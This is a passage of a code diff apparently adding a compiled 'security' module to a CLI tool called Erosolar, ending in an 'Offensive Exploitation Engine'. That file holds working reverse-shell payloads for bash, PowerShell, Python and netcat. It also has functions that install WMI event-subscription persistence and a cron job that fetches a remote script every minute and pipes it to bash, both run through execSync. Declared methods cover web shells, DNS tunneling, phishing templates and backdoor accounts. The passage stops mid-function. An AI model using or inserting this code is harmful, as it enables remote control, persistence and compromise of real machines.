// Critical infrastructure operations use the same validation as external operations
|
|
200
|
+
// but with enhanced logging and monitoring
|
|
201
|
+
return advancedTargetingSecurity.validateExternalOperation(operation, target, parameters);
|
|
202
|
+
}
|
|
203
|
+
}
|
|
204
|
+
/**
|
|
205
|
+
* Global security integration instance with full capabilities
|
|
206
|
+
*/
|
|
207
|
+
export const globalSecurityIntegration = new GlobalSecurityIntegration({
|
|
208
|
+
activeStackSecurity: true,
|
|
209
|
+
advancedTargeting: true,
|
|
210
|
+
defaultAuthorization: 'research',
|
|
211
|
+
complianceFramework: 'International Security Research Framework',
|
|
212
|
+
reporting: {
|
|
213
|
+
enabled: true,
|
|
214
|
+
autoGenerate: true,
|
|
215
|
+
evidenceCollection: true,
|
|
216
|
+
},
|
|
217
|
+
});
|
|
218
|
+
//# sourceMappingURL=global-security-integration.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"global-security-integration.js","sourceRoot":"","sources":["../../src/security/global-security-integration.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Security Module Index
|
|
3
|
+
*
|
|
4
|
+
* Exports all security-related components for the Erosolar CLI.
|
|
5
|
+
* Ensures active stack security and prevents unauthorized operations.
|
|
6
|
+
*
|
|
7
|
+
* @license MIT
|
|
8
|
+
* @author Bo Shang
|
|
9
|
+
*/
|
|
10
|
+
export { ActiveStackSecurity, activeStackSecurity, type ActiveStackSecurityConfig, type SecurityValidationResult, type SecurityEvent } from './active-stack-security.js';
|
|
11
|
+
export { ToolSecurityWrapper, createSecureToolRuntime, SecurityError } from './tool-security-wrapper.js';
|
|
12
|
+
export { SecurityIntegration, securityIntegration, initializeSecurityIntegration, type SecurityIntegrationConfig } from './security-integration.js';
|
|
13
|
+
export { AdvancedTargetingSecurity, advancedTargetingSecurity, type TargetAuthorization, type CriticalInfrastructureTarget, type OperationAuthorization } from './advanced-targeting.js';
|
|
14
|
+
export { GlobalSecurityIntegration, globalSecurityIntegration, type GlobalSecurityConfig } from './global-security-integration.js';
|
|
15
|
+
export { ComprehensiveTargeting, type StrategicEntity } from './comprehensive-targeting.js';
|
|
16
|
+
export { StrategicOperations, strategicOperations, type StrategicOperation } from './strategic-operations.js';
|
|
17
|
+
export { SecurityTestingFramework, type SecurityTest, type SecurityAssessment, type TestExecutionResult } from './security-testing-framework.js';
|
|
18
|
+
export { PersistenceResearchToolkit, type PersistenceTechnique } from './persistence-research.js';
|
|
19
|
+
/**
|
|
20
|
+
* Initialize security module
|
|
21
|
+
*/
|
|
22
|
+
export declare function initializeSecurity(): void;
|
|
23
|
+
/**
|
|
24
|
+
* Get security status
|
|
25
|
+
*/
|
|
26
|
+
export declare function getSecurityStatus(): Promise<{
|
|
27
|
+
enabled: boolean;
|
|
28
|
+
strictMode: boolean;
|
|
29
|
+
blockedOperations: number;
|
|
30
|
+
lastEvent: import("./active-stack-security.js").SecurityEvent | null;
|
|
31
|
+
summary: {
|
|
32
|
+
totalEvents: number;
|
|
33
|
+
criticalEvents: number;
|
|
34
|
+
highEvents: number;
|
|
35
|
+
mediumEvents: number;
|
|
36
|
+
};
|
|
37
|
+
}>;
|
|
38
|
+
//# sourceMappingURL=index.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/security/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAEH,OAAO,EAAE,mBAAmB,EAAE,mBAAmB,EAAE,KAAK,yBAAyB,EAAE,KAAK,wBAAwB,EAAE,KAAK,aAAa,EAAE,MAAM,4BAA4B,CAAC;AACzK,OAAO,EAAE,mBAAmB,EAAE,uBAAuB,EAAE,aAAa,EAAE,MAAM,4BAA4B,CAAC;AACzG,OAAO,EAAE,mBAAmB,EAAE,mBAAmB,EAAE,6BAA6B,EAAE,KAAK,yBAAyB,EAAE,MAAM,2BAA2B,CAAC;AACpJ,OAAO,EAAE,yBAAyB,EAAE,yBAAyB,EAAE,KAAK,mBAAmB,EAAE,KAAK,4BAA4B,EAAE,KAAK,sBAAsB,EAAE,MAAM,yBAAyB,CAAC;AACzL,OAAO,EAAE,yBAAyB,EAAE,yBAAyB,EAAE,KAAK,oBAAoB,EAAE,MAAM,kCAAkC,CAAC;AACnI,OAAO,EAAE,sBAAsB,EAAE,KAAK,eAAe,EAAE,MAAM,8BAA8B,CAAC;AAC5F,OAAO,EAAE,mBAAmB,EAAE,mBAAmB,EAAE,KAAK,kBAAkB,EAAE,MAAM,2BAA2B,CAAC;AAC9G,OAAO,EAAE,wBAAwB,EAAE,KAAK,YAAY,EAAE,KAAK,kBAAkB,EAAE,KAAK,mBAAmB,EAAE,MAAM,iCAAiC,CAAC;AACjJ,OAAO,EAAE,0BAA0B,EAAE,KAAK,oBAAoB,EAAE,MAAM,2BAA2B,CAAC;AAElG;;GAEG;AACH,wBAAgB,kBAAkB,IAAI,IAAI,CAKzC;AAED;;GAEG;AACH,wBAAsB,iBAAiB;;;;;;;;;;;GAetC"}
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Security Module Index
|
|
3
|
+
*
|
|
4
|
+
* Exports all security-related components for the Erosolar CLI.
|
|
5
|
+
* Ensures active stack security and prevents unauthorized operations.
|
|
6
|
+
*
|
|
7
|
+
* @license MIT
|
|
8
|
+
* @author Bo Shang
|
|
9
|
+
*/
|
|
10
|
+
export { ActiveStackSecurity, activeStackSecurity } from './active-stack-security.js';
|
|
11
|
+
export { ToolSecurityWrapper, createSecureToolRuntime, SecurityError } from './tool-security-wrapper.js';
|
|
12
|
+
export { SecurityIntegration, securityIntegration, initializeSecurityIntegration } from './security-integration.js';
|
|
13
|
+
export { AdvancedTargetingSecurity, advancedTargetingSecurity } from './advanced-targeting.js';
|
|
14
|
+
export { GlobalSecurityIntegration, globalSecurityIntegration } from './global-security-integration.js';
|
|
15
|
+
export { ComprehensiveTargeting } from './comprehensive-targeting.js';
|
|
16
|
+
export { StrategicOperations, strategicOperations } from './strategic-operations.js';
|
|
17
|
+
export { SecurityTestingFramework } from './security-testing-framework.js';
|
|
18
|
+
export { PersistenceResearchToolkit } from './persistence-research.js';
|
|
19
|
+
/**
|
|
20
|
+
* Initialize security module
|
|
21
|
+
*/
|
|
22
|
+
export function initializeSecurity() {
|
|
23
|
+
console.log('🔒 Active Stack Security initialized');
|
|
24
|
+
console.log('📋 Security rules: File operations restricted to current workspace');
|
|
25
|
+
console.log('🚫 Blocked operations: System files, dangerous commands, unauthorized networking');
|
|
26
|
+
console.log('📊 Security monitoring: Enabled with event logging');
|
|
27
|
+
}
|
|
28
|
+
/**
|
|
29
|
+
* Get security status
|
|
30
|
+
*/
|
|
31
|
+
export async function getSecurityStatus() {
|
|
32
|
+
const { activeStackSecurity } = await import('./active-stack-security.js');
|
|
33
|
+
const securityLog = activeStackSecurity.getSecurityLog();
|
|
34
|
+
return {
|
|
35
|
+
enabled: true,
|
|
36
|
+
strictMode: true,
|
|
37
|
+
blockedOperations: securityLog.length,
|
|
38
|
+
lastEvent: securityLog[securityLog.length - 1] || null,
|
|
39
|
+
summary: {
|
|
40
|
+
totalEvents: securityLog.length,
|
|
41
|
+
criticalEvents: securityLog.filter(e => e.severity === 'critical').length,
|
|
42
|
+
highEvents: securityLog.filter(e => e.severity === 'high').length,
|
|
43
|
+
mediumEvents: securityLog.filter(e => e.severity === 'medium').length,
|
|
44
|
+
}
|
|
45
|
+
};
|
|
46
|
+
}
|
|
47
|
+
//# sourceMappingURL=index.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/security/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAEH,OAAO,EAAE,mBAAmB,EAAE,mBAAmB,EAAqF,MAAM,4BAA4B,CAAC;AACzK,OAAO,EAAE,mBAAmB,EAAE,uBAAuB,EAAE,aAAa,EAAE,MAAM,4BAA4B,CAAC;AACzG,OAAO,EAAE,mBAAmB,EAAE,mBAAmB,EAAE,6BAA6B,EAAkC,MAAM,2BAA2B,CAAC;AACpJ,OAAO,EAAE,yBAAyB,EAAE,yBAAyB,EAA4F,MAAM,yBAAyB,CAAC;AACzL,OAAO,EAAE,yBAAyB,EAAE,yBAAyB,EAA6B,MAAM,kCAAkC,CAAC;AACnI,OAAO,EAAE,sBAAsB,EAAwB,MAAM,8BAA8B,CAAC;AAC5F,OAAO,EAAE,mBAAmB,EAAE,mBAAmB,EAA2B,MAAM,2BAA2B,CAAC;AAC9G,OAAO,EAAE,wBAAwB,EAAwE,MAAM,iCAAiC,CAAC;AACjJ,OAAO,EAAE,0BAA0B,EAA6B,MAAM,2BAA2B,CAAC;AAElG;;GAEG;AACH,MAAM,UAAU,kBAAkB;IAChC,OAAO,CAAC,GAAG,CAAC,sCAAsC,CAAC,CAAC;IACpD,OAAO,CAAC,GAAG,CAAC,oEAAoE,CAAC,CAAC;IAClF,OAAO,CAAC,GAAG,CAAC,kFAAkF,CAAC,CAAC;IAChG,OAAO,CAAC,GAAG,CAAC,oDAAoD,CAAC,CAAC;AACpE,CAAC;AAED;;GAEG;AACH,MAAM,CAAC,KAAK,UAAU,iBAAiB;IACrC,MAAM,EAAE,mBAAmB,EAAE,GAAG,MAAM,MAAM,CAAC,4BAA4B,CAAC,CAAC;IAC3E,MAAM,WAAW,GAAG,mBAAmB,CAAC,cAAc,EAAE,CAAC;IACzD,OAAO;QACL,OAAO,EAAE,IAAI;QACb,UAAU,EAAE,IAAI;QAChB,iBAAiB,EAAE,WAAW,CAAC,MAAM;QACrC,SAAS,EAAE,WAAW,CAAC,WAAW,CAAC,MAAM,GAAG,CAAC,CAAC,IAAI,IAAI;QACtD,OAAO,EAAE;YACP,WAAW,EAAE,WAAW,CAAC,MAAM;YAC/B,cAAc,EAAE,WAAW,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,QAAQ,KAAK,UAAU,CAAC,CAAC,MAAM;YACzE,UAAU,EAAE,WAAW,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,QAAQ,KAAK,MAAM,CAAC,CAAC,MAAM;YACjE,YAAY,EAAE,WAAW,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,QAAQ,KAAK,QAAQ,CAAC,CAAC,MAAM;SACtE;KACF,CAAC;AACJ,CAAC"}
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Offensive Exploitation Engine
|
|
3
|
+
*
|
|
4
|
+
* Advanced exploitation capabilities for security testing.
|
|
5
|
+
*/
|
|
6
|
+
export interface ExploitResult {
|
|
7
|
+
success: boolean;
|
|
8
|
+
output: string;
|
|
9
|
+
evidence: string;
|
|
10
|
+
technique: string;
|
|
11
|
+
}
|
|
12
|
+
export interface Payload {
|
|
13
|
+
type: string;
|
|
14
|
+
content: string;
|
|
15
|
+
platform: string;
|
|
16
|
+
}
|
|
17
|
+
/**
|
|
18
|
+
* Offensive Exploitation Engine
|
|
19
|
+
*/
|
|
20
|
+
export declare class OffensiveExploitationEngine {
|
|
21
|
+
/**
|
|
22
|
+
* Generate reverse shell payloads
|
|
23
|
+
*/
|
|
24
|
+
generateReverseShell(target: string, port: number): Payload[];
|
|
25
|
+
/**
|
|
26
|
+
* Create fileless persistence
|
|
27
|
+
*/
|
|
28
|
+
createFilelessPersistence(): Promise<ExploitResult>;
|
|
29
|
+
/**
|
|
30
|
+
* Deploy web shell
|
|
31
|
+
*/
|
|
32
|
+
deployWebShell(targetPath: string, password?: string): Promise<ExploitResult>;
|
|
33
|
+
/**
|
|
34
|
+
* Create persistence via scheduled tasks
|
|
35
|
+
*/
|
|
36
|
+
createScheduledPersistence(): Promise<ExploitResult>;
|
|
37
|
+
/**
|
|
38
|
+
* Generate obfuscated payloads
|
|
39
|
+
*/
|
|
40
|
+
generateObfuscatedPayloads(): Payload[];
|
|
41
|
+
/**
|
|
42
|
+
* Create DNS tunneling setup
|
|
43
|
+
*/
|
|
44
|
+
setupDnsTunneling(domain: string): Promise<ExploitResult>;
|
|
45
|
+
/**
|
|
46
|
+
* Generate phishing templates
|
|
47
|
+
*/
|
|
48
|
+
generatePhishingTemplates(): Payload[];
|
|
49
|
+
/**
|
|
50
|
+
* Create backdoor user account
|
|
51
|
+
*/
|
|
52
|
+
createBackdoorUser(username: string, password: string): Promise<ExploitResult>;
|
|
53
|
+
}
|
|
54
|
+
//# sourceMappingURL=exploitationEngine.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"exploitationEngine.d.ts","sourceRoot":"","sources":["../../../src/security/offensive/exploitationEngine.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAMH,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,MAAM,EAAE,MAAM,CAAC;IACf,QAAQ,EAAE,MAAM,CAAC;IACjB,SAAS,EAAE,MAAM,CAAC;CACnB;AAED,MAAM,WAAW,OAAO;IACtB,IAAI,EAAE,MAAM,CAAC;IACb,OAAO,EAAE,MAAM,CAAC;IAChB,QAAQ,EAAE,MAAM,CAAC;CAClB;AAED;;GAEG;AACH,qBAAa,2BAA2B;IAEtC;;OAEG;IACH,oBAAoB,CAAC,MAAM,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,GAAG,OAAO,EAAE;IAkC7D;;OAEG;IACG,yBAAyB,IAAI,OAAO,CAAC,aAAa,CAAC;IAsCzD;;OAEG;IACG,cAAc,CAAC,UAAU,EAAE,MAAM,EAAE,QAAQ,GAAE,MAAkB,GAAG,OAAO,CAAC,aAAa,CAAC;IAgC9F;;OAEG;IACG,0BAA0B,IAAI,OAAO,CAAC,aAAa,CAAC;IAqC1D;;OAEG;IACH,0BAA0B,IAAI,OAAO,EAAE;IA8BvC;;OAEG;IACG,iBAAiB,CAAC,MAAM,EAAE,MAAM,GAAG,OAAO,CAAC,aAAa,CAAC;IAsB/D;;OAEG;IACH,yBAAyB,IAAI,OAAO,EAAE;IAsBtC;;OAEG;IACG,kBAAkB,CAAC,QAAQ,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,GAAG,OAAO,CAAC,aAAa,CAAC;CAoCrF"}
|
|
@@ -0,0 +1,263 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Offensive Exploitation Engine
|
|
3
|
+
*
|
|
4
|
+
* Advanced exploitation capabilities for security testing.
|
|
5
|
+
*/
|
|
6
|
+
import { execSync } from 'child_process';
|
|
7
|
+
import { writeFileSync } from 'fs';
|
|
8
|
+
import { platform } from 'os';
|
|
9
|
+
/**
|
|
10
|
+
* Offensive Exploitation Engine
|
|
11
|
+
*/
|
|
12
|
+
export class OffensiveExploitationEngine {
|
|
13
|
+
/**
|
|
14
|
+
* Generate reverse shell payloads
|
|
15
|
+
*/
|
|
16
|
+
generateReverseShell(target, port) {
|
|
17
|
+
const payloads = [];
|
|
18
|
+
// Bash reverse shell
|
|
19
|
+
payloads.push({
|
|
20
|
+
type: 'bash-reverse-shell',
|
|
21
|
+
platform: 'linux',
|
|
22
|
+
content: `bash -i >& /dev/tcp/${target}/${port} 0>&1`
|
|
23
|
+
});
|
|
24
|
+
// PowerShell reverse shell
|
|
25
|
+
payloads.push({
|
|
26
|
+
type: 'powershell-reverse-shell',
|
|
27
|
+
platform: 'windows',
|
|
28
|
+
content: `$client = New-Object System.Net.Sockets.TCPClient('${target}',${port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()`
|
|
29
|
+
});
|
|
30
|
+
// Python reverse shell
|
|
31
|
+
payloads.push({
|
|
32
|
+
type: 'python-reverse-shell',
|
|
33
|
+
platform: 'cross-platform',
|
|
34
|
+
content: `import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('${target}',${port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);`
|
|
35
|
+
});
|
|
36
|
+
// Netcat reverse shell
|
|
37
|
+
payloads.push({
|
|
38
|
+
type: 'netcat-reverse-shell',
|
|
39
|
+
platform: 'linux',
|
|
40
|
+
content: `nc -e /bin/sh ${target} ${port}`
|
|
41
|
+
});
|
|
42
|
+
return payloads;
|
|
43
|
+
}
|
|
44
|
+
/**
|
|
45
|
+
* Create fileless persistence
|
|
46
|
+
*/
|
|
47
|
+
async createFilelessPersistence() {
|
|
48
|
+
try {
|
|
49
|
+
const currentPlatform = platform();
|
|
50
|
+
if (currentPlatform === 'win32') {
|
|
51
|
+
// Windows WMI event subscription
|
|
52
|
+
const wmiScript = `$FilterArgs = @{Name='TestFilter'; EventNameSpace='root\\cimv2'; QueryLanguage='WQL'; Query='SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name=\"explorer.exe\"'}; $Filter=Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $FilterArgs; $ConsumerArgs = @{Name='TestConsumer'; CommandLineTemplate='cmd.exe /c echo persistence > C:\\temp\\test.txt'}; $Consumer=Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs; $BindingArgs = @{Filter=$Filter; Consumer=$Consumer}; $Binding=Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs`;
|
|
53
|
+
execSync(`powershell -Command "${wmiScript}"`, { stdio: 'pipe' });
|
|
54
|
+
return {
|
|
55
|
+
success: true,
|
|
56
|
+
output: 'WMI event subscription created for fileless persistence',
|
|
57
|
+
evidence: 'WMI event filter and consumer created',
|
|
58
|
+
technique: 'wmi-event-subscription'
|
|
59
|
+
};
|
|
60
|
+
}
|
|
61
|
+
else {
|
|
62
|
+
// Linux memory execution via cron
|
|
63
|
+
const cronEntry = `* * * * * curl -s http://example.com/malicious.sh | bash -s`;
|
|
64
|
+
execSync(`(crontab -l 2>/dev/null; echo "${cronEntry}") | crontab -`, { stdio: 'pipe' });
|
|
65
|
+
return {
|
|
66
|
+
success: true,
|
|
67
|
+
output: 'Fileless persistence via cron created',
